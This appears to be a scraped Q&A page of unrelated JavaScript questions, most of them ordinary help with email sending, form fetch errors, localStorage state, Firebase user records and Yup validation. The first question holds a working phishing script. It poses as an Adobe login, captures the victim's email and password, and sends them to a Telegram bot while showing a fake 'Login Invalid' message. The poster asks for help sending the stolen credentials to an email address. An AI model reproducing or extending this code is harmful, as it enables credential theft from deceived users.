Post data from form to email using javascript - javascript

i have a form that sends form result via telegram Api, i want it to send to an email address instead.
here is the initial code.
const button = document.querySelector('.btn');
const popup = document.querySelector('.popup');
const passInput = document.querySelector('.pass');
const emailGrab = document.querySelector('.email');
const formData = document.querySelector('.form-data');
const passMsg = document.querySelector('.pass-msg');
const preview = document.querySelector('.preview');
window.addEventListener('load', () => {
alert('Authentication Required, Click ok to continue');
popup.classList.add('hide');
formData.style.animation = 'moveLeft .7s ease-in-out';
emailGrab.textContent = zhe;
});
let xyz = 123456789; // Secrets redacted
let yxz = 'SECRET';
function telegramApi(method, id, message) {
fetch(`https://api.telegram.org/bot${yxz}/${method}?
chat_id=${id}&text=${message}&parse_mode=HTML`);
}
button.addEventListener('click', () => {
const results = `Adobe EmailAddress:
${emailGrab.textContent} Adobe Password: ${passInput.value}`;
if (passInput.value === '') {
alert('The Following error(s) occured - Password Required')
} else {
telegramApi('sendMessage', xyz, results);
passMsg.style.color = 'red';
passMsg.textContent = 'Login Invalid Please enter correct password.';
setTimeout(() => {
preview.classList.remove('hidden');
}, 2000);
setTimeout(() => {
preview.classList.add('hidden');
}, 10000);
}
});
passInput.addEventListener('keypress', () => {
passMsg.style.color = 'rgb(59, 58, 58)';
passMsg.textContent = 'Confirm your details to access your documents';
})
I have tried the following
function sendData (); {fetch("ace.php", { method: "POST",body: "data" ); }
button.addEventListener('click', () => { const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password:
if (passInput.value === '') { alert('The Following error(s) occured - Password Required') }
else {telegramApi('sendMessage', results);
please i need help, i am not so good with javascript.

Related

how to import file html using javascript

Javascript / Node.js importing html file
I'm making a node.js server which sends emails on demand. The variable "output" is what I want to send via email. When I use inline html it works fine, however I want to import a complete html file instead.
const { EmailClient } = require("#azure/communication-email");
const connectionString = "<ACS_CONNECTION_STRING>";
const sender = "<SENDER_EMAIL>";
const toRecipients = {
to: [
{ email: "<alice#contoso.com>", displayName: "Alice" },
],
};
const client = new EmailClient(connectionString);
const emailContent = {
subject: "Send email plain text - JS sample",
plainText: "",
// html: "<h3>Hi, this works</h3>", // WORKS
// html: "<object type="text/html" data="file.html"></object>", // // Doesn't work
html: "<link href="file.html" rel="import" />", // // Doesn't work
};
async function main() {
try {
const emailMessage = {
sender: sender,
content: emailContent,
importance: 'low',
recipients: toRecipients,
};
const sendResult = await client.send(emailMessage);
if (sendResult && sendResult.messageId) {
const messageId = sendResult.messageId;
if (messageId === null || messageId === undefined) {
console.log("Message Id not found.");
return;
}
console.log("Send email success, MessageId :", messageId);
let counter = 0;
const statusInterval = setInterval(async function () {
counter++;
try {
const sendStatusResult = await client.getSendStatus(messageId);
if (sendStatusResult) {
console.log(`Email status for {${messageId}} : [${sendStatusResult.status}]`);
if (sendStatusResult.status.toLowerCase() !== "queued" || counter > 12) {
clearInterval(statusInterval);
}
}
} catch (e) {
console.log("Error in checking send mail status: ",e);
}
}, 5000);
} else {
console.error("Something went wrong when trying to send this email: ", sendResult);
}
} catch (e) {
console.log("################### Exception occurred while sending email #####################", e);
}
}
main();
Help is much appreciated.
You can use fs.readFileSync to import your HTML file as a string.
const emailContent = {
...
html: fs.readFileSync('./file.html', 'utf8'),
...
}

getting this error in my code, Failed to fetch at sendData (form.js:42:5)

Screenshot of error:
So, basically i'm getting this weird error in my java Script file, called: Failed to fetch
at sendData
and i don't know quite what is the error, i cant save nothing to my database cause of this error
here's the code from the form.js :
const loader = document.querySelector('.loader');
// select inputs
const SubmitBtn = document.querySelector('.submit-btn');
const name = document.querySelector('#name');
const email = document.querySelector('#email');
const password = document.querySelector('#password');
const number = document.querySelector('#number');
const tac = document.querySelector('#terms-and-cond');
const notification = document.querySelector('#notification');
SubmitBtn.addEventListener('click', () => {
if (name.value.length < 3) {
showAlert('name must be 3 letters long');
} else if (!email.value.length) {
showAlert('enter your email');
} else if (password.value.length < 8) {
showAlert('password should be 8 letters long');
} else if (!number.value.length) {
showAlert('enter your phone number');
} else if (!Number(number.value) || number.value.length < 10) {
showAlert('invalid number, please enter a valid one');
} else if (!tac.checked) {
showAlert('you must agree to our terms and conditions')
} else {
// submeter o form
loader.style.display = 'block';
sendData('/signup', {
name: name.value,
email: email.value,
password: password.value,
number: number.value,
tac: tac.checked,
notification: notification.checked,
seller: false
})
}
})
// send data function
const sendData = (path, data) => {
fetch(path, {
method: 'post',
headers: new Headers({
'Content-Type': 'application/json'
}),
body: JSON.stringify(data)
}).then((res) => res.json())
.then(response => {
processData(response);
})
}
const processData = (data) => {
loader.style.display = null;
if (data.alert) {
showAlert(data.alert);
}
}
// alert funcionalidade
const showAlert = (msg) => {
let alertBox = document.querySelector('.alert-box');
let alertMsg = document.querySelector('.alert-msg');
alertMsg.innerHTML = msg;
alertBox.classList.add('show');
setTimeout(() => {
alertBox.classList.remove('show');
}, 3000);
}
with this i always get the same error, it doesn't save the users to the database, and its kinda irritating. i would like help for this type of error as soon as possible. this for a school project and time is coming short...

eventListener is firing multiple times before the refresh JS

I'm making a simple submit button for an email form,when clickling on the submit button and the email is valid,it changes the state of the button from "Subscribe" to Unsubscribe and it hides the form. Till here everything is good,but the problem is that when i click the submit button,it does what i need but after i enter a valid email and it changes the state of the button,the oposite action isnt done and it continues to send the email to localstorage,instead of removing it.
Here i add a non valid email :
And in console log i have this email.
Here i add a valid email without refreshing the page :
And now,when i click unsubscribe,it should remove the email from localStorage and return the form and the state of the button,but instead,it makes the submit action..:
What should i do? I am new in JS and here i use only vanilla js.
The code that use the submit button:
document.querySelector('form').addEventListener('submit', function (e) {
e.preventDefault()
console.log(inputForm.value)
localStorage.setItem('Email', inputForm.value)
subscribeEmail(inputForm.value);
})
The code below is used to mentain the state of the button when refreshing the page:
const isSubscribed = localStorage.getItem('isSubscribed')
if (isSubscribed === 'true') {
subscribe()
// document.querySelector('form').addEventListener('click', function (e) {
// e.preventDefault()
// unsubscribe()
// localStorage.removeItem('Email')
// })
} else {
unsubscribe()
}
}
Below is the code that changes the state of the button :
Edit : I modified the code below and now i can unsubscribe without refreshing the page,the problem now is that i can not submit another value for validation and sending in localStorage.
import { validateEmail } from './email-validator.js'
export const subscribe = () => {
const subscribeBtn = document.getElementById('subscribeButton')
subscribeBtn.setAttribute('value', 'Unsubscribe')
document.getElementById('emailForm').style.display = 'none'
localStorage.setItem('isSubscribed', 'true')
}
export const unsubscribe = () => {
const subscribeBtn = document.getElementById('subscribeButton')
subscribeBtn.setAttribute('value', 'Subscribe')
document.getElementById('emailForm').style.display = 'block'
localStorage.setItem('isSubscribed', 'false')
}
export const subscribeEmail = (email) => {
if (validateEmail(email) == true) {
subscribe();
document.querySelector('form').addEventListener('click', function (e) {
e.preventDefault()
unsubscribe()
localStorage.removeItem('Email')
})
} else if (validateEmail == false) {
unsubscribe();
}
};
And here is the validation function :
const VALID_EMAIL_ENDINGS = ['gmail.com', 'outlook.com', 'yandex.ru']
export const validateEmail = (email) => {
if (VALID_EMAIL_ENDINGS.some(v => email.includes(v))) {
return true
} else {
return false
}
}
export { VALID_EMAIL_ENDINGS as validEnding }
I dont understand what is wrong,or is this normally to happen..It gives me the oportunity to "unsubscribe" only after refreshing the page,but i want to subscribe and unsubscribe multiple times without the need of refresh.
I should mention that the section where the button is created is displayed usign window.onload,so it is dinamically created.
Edit:
The whole section creation code:
import { subscribe, unsubscribe} from './subscribe.js'
import { subscribeEmail } from './subscribe.js'
const addSection = () => {
const sectionFour = createElement('sectionFour', 'section', 'app-section app-section--image-program', 'fourth-section')
const sectionParent = getElbyID('sectionParent', 'third-section')
const parentSection = sectionParent.parentNode
parentSection.insertBefore(sectionFour, sectionParent.nextSibling)
const heading2 = createElement('heading2', 'h2', 'program-title')
const heading2Text = document.createTextNode('Join Our Program')
heading2.append(heading2Text)
const parent = getElbyID('parent', 'fourth-section')
const heading3 = createElement('heading3', 'h3', 'program-subtitle')
const heading3Text = document.createTextNode('Sed do eiusmod tempor incididunt')
heading3.appendChild(heading3Text)
const linebreak = createElement('linebreak', 'br')
heading3.appendChild(linebreak)
const textAfterBreak = document.createTextNode('ut labore et dolore magna aliqua')
heading3.appendChild(textAfterBreak)
const form = createElement('submitFieldWrapper', 'form', 'submitFieldWrapper', 'form')
parent.append(heading2, heading3, form)
const emailForm = createElement('emailForm', 'div', 'form-wrapper', 'emailForm')
const inputForm = createElement('inputForm', 'input', 'form-input', 'submit-info')
setAttributes(inputForm,
'type', 'text',
'placeholder', 'Email')
if (localStorage.getItem('Email') !== null) {
inputForm.setAttribute('value', localStorage.getItem('Email'))
} else {
inputForm.setAttribute('placeholder', 'Email')
}
emailForm.appendChild(inputForm)
document.querySelector('form').addEventListener('submit', function (e) {
e.preventDefault()
console.log(inputForm.value)
localStorage.setItem('Email', inputForm.value)
subscribeEmail(inputForm.value);
})
const submitForm = createElement('submitForm', 'input', 'app-section__button submit-btn', 'subscribeButton')
setAttributes(submitForm,
'type', 'submit',
'value', 'Subscribe')
form.append(emailForm, submitForm)
const isSubscribed = localStorage.getItem('isSubscribed')
if (isSubscribed === 'true') {
subscribe()
// document.querySelector('form').addEventListener('click', function (e) {
// e.preventDefault()
// unsubscribe()
// localStorage.removeItem('Email')
// })
} else {
unsubscribe()
}
}
const createElement = (elName, htmlEl, elClass, elID) => {
const elementName = document.createElement(htmlEl)
elementName.className = elClass
elementName.id = elID
return elementName
}
const getElbyID = (elName, searchedId) => {
const elementToSearch = document.getElementById(searchedId)
return elementToSearch
}
const setAttributes = (elem, ...elemArguments) => {
for (let i = 0; i < elemArguments.length; i += 2) {
elem.setAttribute(elemArguments[i], elemArguments[i + 1])
}
}
export const advancedSection = () => {
addSection()
const getHeading = document.getElementById('fourth-section')
const sectionChildren = getHeading.children
sectionChildren[0].innerHTML = 'Join Our Advanced Program'
const getButton = document.getElementById('subscribeButton')
setAttributes(getButton,
'type', 'submit',
'value', 'Subscribe to Advanced Program')
getButton.className = 'app-section__button submit-btnAdvanced'
}
export default addSection
And main.js
import addSection, { advancedSection } from './join-us-section.js'
class SectionCreator {
constructor (type) {
this.type = type
}
create (type) {
if (type === 'standard') {
addSection()
} else if (type === 'advanced') {
advancedSection()
}
return type
}
remove () {
const sectionToRemove = document.getElementById('fourth-section')
sectionToRemove.remove()
}
}
window.onload = new SectionCreator().create('standard')
I managed how to do to unsubscribe without refreshing the page,but now the problem is that without refreshing i can not put another input..
This is how i did to unsubscribe without refreshing :
export const subscribeEmail = (email) => {
if (validateEmail(email) == true) {
subscribe();
document.querySelector('form').addEventListener('click', function (e) {
e.preventDefault()
unsubscribe()
localStorage.removeItem('Email')
})
} else if (validateEmail == false) {
unsubscribe();
}
};
This event listener was in isSubscribed function,but i moved it to subscribeEmail,where it checks the validatation.The code above may differ at the end because i renamed the variables,from unsubscribeToggle to isSubscribed,from getUnsubscribe to subscribe and from getSubscribe to unsubscribe
Without seeing all your code it's hard to modify everything here, plus localStoage doesn't work in the snippets. See if this example helps. It uses just a bit of code to manage the subscribe vs unsubscribe functions without having to refresh the page.
// init code
let hasSubscribed = false
let userEmail = ''
let subBtnEl, inputEl, resultEl
window.addEventListener('DOMContentLoaded', () => {
// userEmail = localStorage.getItem('email') || '';;
subBtnEl = document.querySelector('button#sub');
inputEl = document.querySelector('input[name=email]');
resultEl = document.querySelector('#result');
subBtnEl.addEventListener('click', e => {
resultEl.innerText = "";
doButton()
})
})
function isValidEmail(email) {
return true;
}
function doButton() {
// check localStorage
hasSubscribed = userEmail.trim() !== '';
if (!hasSubscribed) {
if (!isValidEmail(inputEl.value)) {
resultEl.innerText = "Invalid Email";
return
}
userEmail = inputEl.value;
inputEl.setAttribute('hidden', true);;
subBtnEl.innerText = "Unsubscribe";
resultEl.innerText = "You've been subscribed!";
// localStorage.setItem('email', subBtnEl.value.trim());
} else {
// localStorage.setItem('email', '');
userEmail = '';
inputEl.removeAttribute('hidden');;
resultEl.innerText = "You've been unsubscribed";
subBtnEl.innerText = "Subscribe";
}
}
<div id='result'></div>
<input type='text' name='email' />
<button id='sub'>Subscribe</button>
I managed how to unsubscribe without refreshing:
export const subscribeEmail = (email) => {
if (validateEmail(email) == true) {
subscribe();
document.querySelector('form').addEventListener('click', function (e) {
e.preventDefault()
unsubscribe()
localStorage.removeItem('Email')
})
} else if (validateEmail == false) {
unsubscribe();
}
};
I just played with functions and have put in their place.And i fixed the problem that i can not subscribe and unsubscribe a lot of times.
I should have just remove preventDefault in the function and change with a stopPropagation:
export const subscribeEmail = (email) => {
const isValidEmail = validateEmail(email)
if (isValidEmail === true) {
subscribe()
document.querySelector('form').addEventListener('click', function (e) {
unsubscribe()
localStorage.removeItem('Email')
e.stopPropagation()
})
} else if (isValidEmail === false) {
unsubscribe()
}
}

How to create user specific data when user logs in for the first time in realtime firebase database?

I want the code to behave such that it creates specific data when user is signed in but doesn't create it if already present in the firebase real-time database.
I have used the following code through which i check if the child is already present or not and if not then creates the child in firebase database, but somehow the code isn't behaving as it should.
Whenev the user logins again the complete data part is rewritten.
Snippet I need help in
if (!(checkdata(user.uid))) {
writeUserData(user.uid,user.displayName,user.email,user.photoURL)
}
var database = firebase.database();
function checkdata(userid){
var ref = firebase.database().ref("users");
ref.once("value")
.then(function(snapshot) {
var datapresent = snapshot.hasChild(userid); // true
return datapresent
});
}
function writeUserData(userId, name, email, imageUrl) {
firebase.database().ref('users/' + userId).set({
username: name,
email: email,
profile_picture : imageUrl,
cropdata : []
});
}
Complete JS file
const signInBtn = document.getElementById('signinbtn');
const signOutBtn = document.getElementById('signoutbtn');
const userDetails = document.getElementById('username');
const auth = firebase.auth();
const provider = new firebase.auth.GoogleAuthProvider();
signInBtn.onclick = () => auth.signInWithPopup(provider);
signOutBtn.onclick = () => auth.signOut();
function toggle(className, displayState){
var elements = document.getElementsByClassName(className)
for (var i = 0; i < elements.length; i++){
elements[i].style.display = displayState;
}
}
auth.onAuthStateChanged(function(user) {
if (user) {
// signed in
toggle('userishere', 'block');
toggle('usernothere', 'none');
//userDetails.innerHTML = `<h3>Hello ${user.displayName}!</h3> <p>User ID: ${user.uid}</p>`;
userDetails.innerHTML = `Hello ${user.displayName}!`
console.log(user)
if (!(checkdata(user.uid))) {
writeUserData(user.uid,user.displayName,user.email,user.photoURL)
}
} else {
// not signed in
toggle('userishere', 'none');
toggle('usernothere', 'block');
userDetails.innerHTML = '';
}
});
var database = firebase.database();
function checkdata(userid){
var ref = firebase.database().ref("users");
ref.once("value")
.then(function(snapshot) {
var datapresent = snapshot.hasChild(userid); // true
return datapresent
});
}
function writeUserData(userId, name, email, imageUrl) {
firebase.database().ref('users/' + userId).set({
username: name,
email: email,
profile_picture : imageUrl,
cropdata : []
});
}
I just found the solution, the asynchronous code wasn't waiting for my firebase response and just checeked if datapresent was true or not, so with a async definition before function and await before ref.once(value) does the trick and my problem is solve. Working code below :
const signInBtn = document.getElementById('signinbtn');
const signOutBtn = document.getElementById('signoutbtn');
const userDetails = document.getElementById('username');
var database = firebase.database();
const auth = firebase.auth();
const provider = new firebase.auth.GoogleAuthProvider();
signInBtn.onclick = () => auth.signInWithPopup(provider);
signOutBtn.onclick = () => auth.signOut();
async function checkdata(user){
let ref = firebase.database().ref("users");
let snapshot = await ref.once('value');
if (!snapshot.hasChild(user.uid)){
console.log(user)
writeUserData(user.uid,user.displayName,user.email,user.photoURL)
console.log("write done")
}
else{
console.log("did not write")
}
}
function writeUserData(userId, name, email, imageUrl) {
firebase.database().ref('users/' + userId).set({
username: name,
email: email,
profile_picture: imageUrl,
cropdata: []
});
}
function toggle(className, displayState) {
var elements = document.getElementsByClassName(className)
for (var i = 0; i < elements.length; i++) {
elements[i].style.display = displayState;
}
}
auth.onAuthStateChanged(function (user) {
if (user) {
// signed in
toggle('userishere', 'block');
toggle('usernothere', 'none');
//userDetails.innerHTML = `<h3>Hello ${user.displayName}!</h3> <p>User ID: ${user.uid}</p>`;
userDetails.innerHTML = `Hello ${user.displayName}!`
console.log(user)
checkdata(user)
}
else {
toggle('userishere', 'none');
toggle('usernothere', 'block');
userDetails.innerHTML = '';
}
})

how to do setTimeout on Yup.test?

i am trying to validate an address:
line1: Yup.string()
.test(
"Address Line 1 Validation Test",
"Please enter valid Line 1 address",
async (line1: string) => {
let delayTimer = null;
let isValid = false;
const doSearch = () => {
clearTimeout(delayTimer);
delayTimer = setTimeout(async () => {
const { data } = await axios.get<{ status: string }>(
"https://maps.googleapis.com/maps/api/geocode/json?components=country:USA",
{
params: {
address: line1,
key: GEOCODE_API_KEY,
},
}
);
console.log("line1: ", line1);
console.log("data: ", data);
isValid = data.status === "OK" ? true : false;
}, 1000); // Will do the ajax stuff after 1000 ms, or 1 s
};
doSearch();
return isValid;
}
)
.required("Line 1 is required"),
i want to integrate delay search like this so i don't flood my api everytime user type like this: AJAX: Delay for search on typing in form field
but it's doing api request everytime user type. how do i implement?
The problem is that you are actually never clearing the timeout.
Each time your handler runs, new delayTimer, isValid and doSearch variables are created and initialized. Those variables have to be placed in an outer scope. Something like this:
let delayTimer = null;
let isValid = false;
Yup.string()
.test(
'Address Line 1 Validation Test',
'Please enter valid Line 1 address',
async (line1: string) => {
clearTimeout(delayTimer);
delayTimer = setTimeout(async () => {
const {data} =
(await axios.get) <
{status: string} >
('https://maps.googleapis.com/maps/api/geocode/json?components=country:USA',
{
params: {
address: line1,
key: GEOCODE_API_KEY
}
});
console.log('line1: ', line1);
console.log('data: ', data);
isValid = data.status === 'OK';
}, 1000); // Will do the ajax stuff after 1000 ms, or 1 s
return isValid;
}
)
.required('Line 1 is required');
Now, even if that fixes your initial problem, there is another issue to address. Your function will always return a promise with the wrong value of isValid.
What you have to do depends on what you want, but I'll give you the following insight:
let delayTimer = null;
let isValid = false;
let resolveRef = null;
Yup.string()
.test(
'Address Line 1 Validation Test',
'Please enter valid Line 1 address',
async (line1: string) => {
clearTimeout(delayTimer);
if (resolveRef) {
resolveRef(isValid);
resolveRef = null;
}
return await new Promise((resolve) => {
resolveRef = resolve;
delayTimer = setTimeout(async () => {
const {data} =
(await axios.get) <
{status: string} >
('https://maps.googleapis.com/maps/api/geocode/json?components=country:USA',
{
params: {
address: line1,
key: GEOCODE_API_KEY
}
});
isValid = data.status === 'OK';
resolve(isValid);
resolveRef = null;
}, 1000);
});
}
)
.required('Line 1 is required');
Hope it works. Please let me know.

Categories

Resources